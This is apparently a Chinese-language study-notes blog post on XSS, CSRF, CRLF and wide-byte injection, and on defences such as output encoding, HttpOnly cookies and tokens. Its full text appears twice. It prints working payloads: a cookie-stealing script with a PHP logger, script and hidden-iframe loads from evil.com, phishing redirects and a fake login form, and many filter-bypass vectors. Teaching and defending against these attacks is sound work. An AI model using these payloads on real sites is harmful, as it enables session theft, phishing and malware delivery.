xss跨站脚本攻击与防御
分类
-
反射型
-
利用手法:通过特定方式(电子邮件),使用户访问包含恶意代码的url。
-
特点:只在用户单击时触发,只执行一次。
-
出没点:搜索栏,登陆入口。
-
作用:常用于窃取客户端cookies/钓鱼欺骗等
-
和CSRF有相似之处---利用url
-
-
持久型
-
特征:攻击者将恶意js代码上传或存储到漏洞服务器中,受害者浏览此恶意界面就会执行代码。
-
作用:获取cookie,挂马,钓鱼,渗透。更容易编写xss蠕虫
-
-
DOM型
-
有必要说一下,DOM和反射型从效果上来说是一类
-
修改页面DOM节点形成XSS
-
XSS 备忘单Lhttp://ha.ckers.org/xss.html---涵盖可能触发xss的测试用
绕过XSS-filter
-
利用<>标签注射html/js-----通过<>标签可以操作一个html标签
-
利用标签属性值---支持javascript:[code] 伪协议形式
-
通常只有引用文件属性
-
href= ,lowsrc=,bgsound=,background=,value=,action=,dynsrc
-
-
空格回车TAB
-
标签属性值转码
-
html属性值支持ASCII码
-
<img src="javascript:alert(/xss/);"> -
Tab字符的ASCII码 	,换行符
,回车符
可以插入到任意位置
-
<img src=1 onerror=>
-
-
构造事件
-
html与js交互是通过事件进行
-
<img src="#" onerror=alert(/xss/)>
-
-
css跨站
-
css执行js代码
<div style="background-image:url(javascript:alert(/xss/))"><style>body {background-image:url("javascript:alert('/xss/')")};</style> -
css可以使用express执行js代码
<img src="#" style="xss:expression(alert(/xss/));"><style>body {background-image:expression(alert('/xss/'))};</style> -
css样式表可以从其他目标机器上进行引用,使用
<link>标签
-
-
扰乱过滤规则
-
大小写转换
-
全角半角字符转换
-
使用注释字符,在适当的地方穿插
-
转码,html某些属性值支持十进制和十六进制,&#格式
-
eval 也同样支持,但是十进制需要配合使用string.fromcharcode()
-
-
Shellcode 调用
由于不是很清楚这些名词的意思,来看一下。
shellcode:利用一个漏洞时所执行的代码
exploit:完整编写好的漏洞利用工具或程序, exploit包含shellcode
POC:proof of concept缩写,证明漏洞存在的代码片段
-
远程运行js代码
http://www.wooyun.com/bug.php?src="><script src="http://www.evil.com/xss.js"></script>< -
基于dom方法创建和插入节点
-
使用window.location.hash
location是js管理地址栏的内置对象。
location.hash可以获取和设置页面的标签值 http://test.com/#a的location.hash="#a"
-
xss downloader
将shellcode存储到网站数据库中,再下载下来执行
-
存储技术, http cookie,localstorage等
XSS利用方式剖析
-
cookie窃取
-
窃取方式:
<script>document.location="http://www.test.com/cookie.php?cookie="+document.cookie -
服务器端:
<?php $cookie=$_GET['cookie'];$log=fopen("cookie.txt","a");fwrite($log,$cookie."\n");fclose($log)?> -
将获取到的cookie进行替换就ok
-
-
会话劫持
session:会话的意思,指访问者从到达页面---->离开这段时间。服务器会维护一个session,访问结束,session也就结束
session和cookie区别,cookie存在于浏览器端,session是服务器记录客户的状态信息
-
权限提升
-
在留言处注入添加管理员账户的xss代码。当网站管理员来查看用户留言的时候,就会执行。
-
在攻击中带上cookie并发送到服务端
-
-
获取网站webshell
webshell是脚本语言编写的后门程序,利用webshell向服务器发送请求和执行命令
-
网络钓鱼
利用假冒界面引诱用户输入相关信息
-
钓鱼页面:伪造登陆界面,将获取到的账号密码,发送到指定的接受服务器端,然后用php的header()函数实现页面转向,访问正常页面
-
钓鱼利用方式
-
xss重定向钓鱼
在存在的xss注入点:
http://www.test.com/index.php?sea="'><script>document.location.href="http://www.evil.com"</script> -
HTML注入钓鱼
直接写入html/js代码到页面:
http://www.bug.com/index.php?search=”’<html><head><title>login</title></head><body><div style="text-align: center;"><formMethod="POST" Action="phishing.php" Name="form"><br /><br/>Login:<br/><input name="login" /><br />Password:<br/><input name="Password"type="password" /><br/><br /><input name="Valid" value="Ok" type="submit" /><br /></form></div></body></html> -
xss跨框架钓鱼
通过' ifram标签嵌入远程域的一个页面实施钓鱼
例:
http://www.bug.com/index.php?sea=[expliot]http://www.bug.com/index.php?sea='><iframe src="http://www.evil.com" height="100%" width="100%"></iframe>将钓鱼页面嵌入框架页面,就可以迷惑用户,这种危害更大,迷惑性更强。
-
-
-
高级钓鱼技术
虽然xss可以窃取用户cookie,但是网站如果将cookie属性设置为"Httponly",就可以防止cookie被恶意js脚本获取
注入JavaScript脚本代码劫持HTML表单和控制Web的行为
-
-
XSS History
运用一些js/css技巧可以获取用户浏览器的某些历史记录,搜索引擎输入的查询字符
-
客户端信息刺探
-
js实现端口扫描
对要扫描的网址,进行端口试探,返回成功则判断开启了相关服务
-
截获剪贴板内容
js可以通过 window.clipboardData对象处理剪贴板的内容
该功能只适合在IE浏览器下使用
-
获取IP地址
核心代码: obj=new ActiveXObject("rcbdyctl,Setting");
rslt=obj.GetIPAddress;
同样,该段代码只能运行在IE浏览器,且获取到的是内网地址
-
-
网页挂马
在用户访问的网站上,将木马和网页结合起来。在用户浏览的同时也运行了木马程序
<script >document.write("<iframe src=http://www.evil.com/trojan.html width=0height=0></iframe>")</script> -
DOS和DDOS
DOS:拒绝服务攻击,这种攻击会利用大量数据包"淹没"目标主机
<script>for(;;)alert("xss");</script>,会不断重复打开一个对话框迫使浏览器用户关闭DDOS:分布式拒绝服务攻击,利用客户端对服务器不断发起请求,
发掘XSS漏洞
测试分为 白盒测试(有源代码)/灰盒测试(两者皆有)/黑盒测试(无法取得资源的情况)
-
黑盒测试
用字符进行试探攻击
-
源代码审计
对存在的输入点,周边的过滤函数检查
-
DOM型XSS
反射型和存储型是由于服务器端代码的问题,而DOM型是由于前端JS代码的漏洞问题
-
XSS Worm剖析
-
寻找xss点
-
实现蠕虫行为
-
Flash应用安全
CSRF 跨站请求伪造攻击
CSRF和XSS经常一起进行攻击,他们都属于跨站攻击,不攻击服务器端而是经常攻击访问网站的用户
web应用程序使用cookie来识别用户身份,当用户登陆网站并完成身份验证,浏览器会得到一个cookie,如果从第三方web页面发起对当前网站域下的请求,该请求也会带上相应的cookie
以用户的身份执行了攻击者想执行的行为
CSRF/XSS区别
| CSRF | XSS | |
|---|---|---|
| 中文名字 | 跨站请求伪造 | 跨站脚本 |
| 脚本 | 未必需要 | 借助js等脚本 |
| 产生原因 | 采用隐式认证 | 用户输入没有正确过滤 |
| 防御技巧 | 验证referer,使用token等 | 输入过滤,输出编码 |
| 关系 | 1.如果一个网站存在xss漏洞,很大可能存在csrf漏洞2.都会利用用户会话执行某些操作3.CSRF恶意代码可能位于第三方,所以过滤用户输入就算能防御XSS漏洞,也不一定能防御CSRF |
HTTP 响应拆分
CRLF注射攻击---> 浏览器用户添加额外的HTTP报头信息到HTTP数据包中,通过自定义HTTP头创造任意内容返回用户浏览器
关键点: 消息头和数据包的分割是用 CRLF/回车换行来分割的,巧妙构造就能实现修改http data内容
防御:禁止使用回车换行符,包括编码形式的
宽字节注入
宽字节注入不止在sql注入中产生,在所有对字符的过滤中,字符编码没有设置正确也会长生。
当PHP设置GBK等宽字符集的适合,\的编码为5C,如果我们输入xss%d5' 就会转变成--->xss%d5%5c%27,因为是宽字符集,d55c组成了一个字符, 而 单引号就逃逸了出来。
防御 XSS攻击
输入过滤
可以在客户端和服务器端同时过滤,但是服务器端一定不能缺失,客户端是用户可以操作的。
所以,确认数据安全过滤,最好方法是在服务器端进行保护
输出编码
HTML编码在防止XSS攻击上有很大作用,主要用对于HTML实体替代字面量字符,确保将其当作HTML文档内容而不是HTML结构进行处理
输出可以做两手准备, 输出编码-->输出过滤-->web page
最好采用 白名单策略
因为,xss有很多形式的绕过测率:
大小写混淆:<img src=JaVaScRiPt:alert('XSS')>
插入Tab键:<img src="javascript:alert('XSS');">
插入回车符: <img src="javascript:alert('XSS');">
使用/**/注释符:<img src="java/*xxxx%81*/script:alert(‘XSS’);" >
重复混淆关键字:<img src="java/*/*javascript*/script/*javascript*/*/script:alert(‘XSS’);" >
使用&#十六进制编码字符:<img src="jav	ascript:alert('XSS');">
使用&#十进制编码字符:<img src="javascript:alert('XSS');">
使用�十进制编码字符(加入大量0000):<img src="javascript:alert('XSS');">
开头插入空格:<img src=" javascript:alert('XSS');">
web安全编码
对上下文合理编码
对cookie设置HttpOnly 能使js不能获取cookie重要信息
php.ini文件设置 session.cookie_httponly=1开启全局cookie的httponly
使用WAF
防御CSRF
CSRF就是诱导用户执行相关行为,所以防御CSRF的手段就从1.增加访问成本,比如token,2.判断是否为用户真实行为.有以下几个点进行CSRF防御
-
使用POST代替GET;--->可以使用在其他站点插入表单,发送post请求绕过
-
检验HTTP Referer;--->http referer可以被客户端伪造
-
使用验证码; --->不但可以抵御csrf还有恶意注册等功能,但会降低用户体验
-
使用token;--->使得攻击者不能预测请求关键字段
分类
-
反射型
-
利用手法:通过特定方式(电子邮件),使用户访问包含恶意代码的url。
-
特点:只在用户单击时触发,只执行一次。
-
出没点:搜索栏,登陆入口。
-
作用:常用于窃取客户端cookies/钓鱼欺骗等
-
和CSRF有相似之处---利用url
-
-
持久型
-
特征:攻击者将恶意js代码上传或存储到漏洞服务器中,受害者浏览此恶意界面就会执行代码。
-
作用:获取cookie,挂马,钓鱼,渗透。更容易编写xss蠕虫
-
-
DOM型
-
有必要说一下,DOM和反射型从效果上来说是一类
-
修改页面DOM节点形成XSS
-
XSS 备忘单Lhttp://ha.ckers.org/xss.html---涵盖可能触发xss的测试用
绕过XSS-filter
-
利用<>标签注射html/js-----通过<>标签可以操作一个html标签
-
利用标签属性值---支持javascript:[code] 伪协议形式
-
通常只有引用文件属性
-
href= ,lowsrc=,bgsound=,background=,value=,action=,dynsrc
-
-
空格回车TAB
-
标签属性值转码
-
html属性值支持ASCII码
-
<img src="javascript:alert(/xss/);"> -
Tab字符的ASCII码 	,换行符
,回车符
可以插入到任意位置
-
<img src=1 onerror=>
-
-
构造事件
-
html与js交互是通过事件进行
-
<img src="#" onerror=alert(/xss/)>
-
-
css跨站
-
css执行js代码
<div style="background-image:url(javascript:alert(/xss/))"><style>body {background-image:url("javascript:alert('/xss/')")};</style> -
css可以使用express执行js代码
<img src="#" style="xss:expression(alert(/xss/));"><style>body {background-image:expression(alert('/xss/'))};</style> -
css样式表可以从其他目标机器上进行引用,使用
<link>标签
-
-
扰乱过滤规则
-
大小写转换
-
全角半角字符转换
-
使用注释字符,在适当的地方穿插
-
转码,html某些属性值支持十进制和十六进制,&#格式
-
eval 也同样支持,但是十进制需要配合使用string.fromcharcode()
-
-
Shellcode 调用
由于不是很清楚这些名词的意思,来看一下。
shellcode:利用一个漏洞时所执行的代码
exploit:完整编写好的漏洞利用工具或程序, exploit包含shellcode
POC:proof of concept缩写,证明漏洞存在的代码片段
-
远程运行js代码
http://www.wooyun.com/bug.php?src="><script src="http://www.evil.com/xss.js"></script>< -
基于dom方法创建和插入节点
-
使用window.location.hash
location是js管理地址栏的内置对象。
location.hash可以获取和设置页面的标签值 http://test.com/#a的location.hash="#a"
-
xss downloader
将shellcode存储到网站数据库中,再下载下来执行
-
存储技术, http cookie,localstorage等
XSS利用方式剖析
-
cookie窃取
-
窃取方式:
<script>document.location="http://www.test.com/cookie.php?cookie="+document.cookie -
服务器端:
<?php $cookie=$_GET['cookie'];$log=fopen("cookie.txt","a");fwrite($log,$cookie."\n");fclose($log)?> -
将获取到的cookie进行替换就ok
-
-
会话劫持
session:会话的意思,指访问者从到达页面---->离开这段时间。服务器会维护一个session,访问结束,session也就结束
session和cookie区别,cookie存在于浏览器端,session是服务器记录客户的状态信息
-
权限提升
-
在留言处注入添加管理员账户的xss代码。当网站管理员来查看用户留言的时候,就会执行。
-
在攻击中带上cookie并发送到服务端
-
-
获取网站webshell
webshell是脚本语言编写的后门程序,利用webshell向服务器发送请求和执行命令
-
网络钓鱼
利用假冒界面引诱用户输入相关信息
-
钓鱼页面:伪造登陆界面,将获取到的账号密码,发送到指定的接受服务器端,然后用php的header()函数实现页面转向,访问正常页面
-
钓鱼利用方式
-
xss重定向钓鱼
在存在的xss注入点:
http://www.test.com/index.php?sea="'><script>document.location.href="http://www.evil.com"</script> -
HTML注入钓鱼
直接写入html/js代码到页面:
http://www.bug.com/index.php?search=”’<html><head><title>login</title></head><body><div style="text-align: center;"><formMethod="POST" Action="phishing.php" Name="form"><br /><br/>Login:<br/><input name="login" /><br />Password:<br/><input name="Password"type="password" /><br/><br /><input name="Valid" value="Ok" type="submit" /><br /></form></div></body></html> -
xss跨框架钓鱼
通过' ifram标签嵌入远程域的一个页面实施钓鱼
例:
http://www.bug.com/index.php?sea=[expliot]http://www.bug.com/index.php?sea='><iframe src="http://www.evil.com" height="100%" width="100%"></iframe>将钓鱼页面嵌入框架页面,就可以迷惑用户,这种危害更大,迷惑性更强。
-
-
-
高级钓鱼技术
虽然xss可以窃取用户cookie,但是网站如果将cookie属性设置为"Httponly",就可以防止cookie被恶意js脚本获取
注入JavaScript脚本代码劫持HTML表单和控制Web的行为
-
-
XSS History
运用一些js/css技巧可以获取用户浏览器的某些历史记录,搜索引擎输入的查询字符
-
客户端信息刺探
-
js实现端口扫描
对要扫描的网址,进行端口试探,返回成功则判断开启了相关服务
-
截获剪贴板内容
js可以通过 window.clipboardData对象处理剪贴板的内容
该功能只适合在IE浏览器下使用
-
获取IP地址
核心代码: obj=new ActiveXObject("rcbdyctl,Setting");
rslt=obj.GetIPAddress;
同样,该段代码只能运行在IE浏览器,且获取到的是内网地址
-
-
网页挂马
在用户访问的网站上,将木马和网页结合起来。在用户浏览的同时也运行了木马程序
<script >document.write("<iframe src=http://www.evil.com/trojan.html width=0height=0></iframe>")</script> -
DOS和DDOS
DOS:拒绝服务攻击,这种攻击会利用大量数据包"淹没"目标主机
<script>for(;;)alert("xss");</script>,会不断重复打开一个对话框迫使浏览器用户关闭DDOS:分布式拒绝服务攻击,利用客户端对服务器不断发起请求,
发掘XSS漏洞
测试分为 白盒测试(有源代码)/灰盒测试(两者皆有)/黑盒测试(无法取得资源的情况)
-
黑盒测试
用字符进行试探攻击
-
源代码审计
对存在的输入点,周边的过滤函数检查
-
DOM型XSS
反射型和存储型是由于服务器端代码的问题,而DOM型是由于前端JS代码的漏洞问题
-
XSS Worm剖析
-
寻找xss点
-
实现蠕虫行为
-
Flash应用安全
CSRF 跨站请求伪造攻击
CSRF和XSS经常一起进行攻击,他们都属于跨站攻击,不攻击服务器端而是经常攻击访问网站的用户
web应用程序使用cookie来识别用户身份,当用户登陆网站并完成身份验证,浏览器会得到一个cookie,如果从第三方web页面发起对当前网站域下的请求,该请求也会带上相应的cookie
以用户的身份执行了攻击者想执行的行为
CSRF/XSS区别
| CSRF | XSS | |
|---|---|---|
| 中文名字 | 跨站请求伪造 | 跨站脚本 |
| 脚本 | 未必需要 | 借助js等脚本 |
| 产生原因 | 采用隐式认证 | 用户输入没有正确过滤 |
| 防御技巧 | 验证referer,使用token等 | 输入过滤,输出编码 |
| 关系 | 1.如果一个网站存在xss漏洞,很大可能存在csrf漏洞2.都会利用用户会话执行某些操作3.CSRF恶意代码可能位于第三方,所以过滤用户输入就算能防御XSS漏洞,也不一定能防御CSRF |
HTTP 响应拆分
CRLF注射攻击---> 浏览器用户添加额外的HTTP报头信息到HTTP数据包中,通过自定义HTTP头创造任意内容返回用户浏览器
关键点: 消息头和数据包的分割是用 CRLF/回车换行来分割的,巧妙构造就能实现修改http data内容
防御:禁止使用回车换行符,包括编码形式的
宽字节注入
宽字节注入不止在sql注入中产生,在所有对字符的过滤中,字符编码没有设置正确也会长生。
当PHP设置GBK等宽字符集的适合,\的编码为5C,如果我们输入xss%d5' 就会转变成--->xss%d5%5c%27,因为是宽字符集,d55c组成了一个字符, 而 单引号就逃逸了出来。
防御 XSS攻击
输入过滤
可以在客户端和服务器端同时过滤,但是服务器端一定不能缺失,客户端是用户可以操作的。
所以,确认数据安全过滤,最好方法是在服务器端进行保护
输出编码
HTML编码在防止XSS攻击上有很大作用,主要用对于HTML实体替代字面量字符,确保将其当作HTML文档内容而不是HTML结构进行处理
输出可以做两手准备, 输出编码-->输出过滤-->web page
最好采用 白名单策略
因为,xss有很多形式的绕过测率:
大小写混淆:<img src=JaVaScRiPt:alert('XSS')>
插入Tab键:<img src="javascript:alert('XSS');">
插入回车符: <img src="javascript:alert('XSS');">
使用/**/注释符:<img src="java/*xxxx%81*/script:alert(‘XSS’);" >
重复混淆关键字:<img src="java/*/*javascript*/script/*javascript*/*/script:alert(‘XSS’);" >
使用&#十六进制编码字符:<img src="jav	ascript:alert('XSS');">
使用&#十进制编码字符:<img src="javascript:alert('XSS');">
使用�十进制编码字符(加入大量0000):<img src="javascript:alert('XSS');">
开头插入空格:<img src=" javascript:alert('XSS');">
web安全编码
对上下文合理编码
对cookie设置HttpOnly 能使js不能获取cookie重要信息
php.ini文件设置 session.cookie_httponly=1开启全局cookie的httponly
使用WAF
防御CSRF
CSRF就是诱导用户执行相关行为,所以防御CSRF的手段就从1.增加访问成本,比如token,2.判断是否为用户真实行为.有以下几个点进行CSRF防御
-
使用POST代替GET;--->可以使用在其他站点插入表单,发送post请求绕过
-
检验HTTP Referer;--->http referer可以被客户端伪造
-
使用验证码; --->不但可以抵御csrf还有恶意注册等功能,但会降低用户体验
-
使用token;--->使得攻击者不能预测请求关键字段
-

浙公网安备 33010602011771号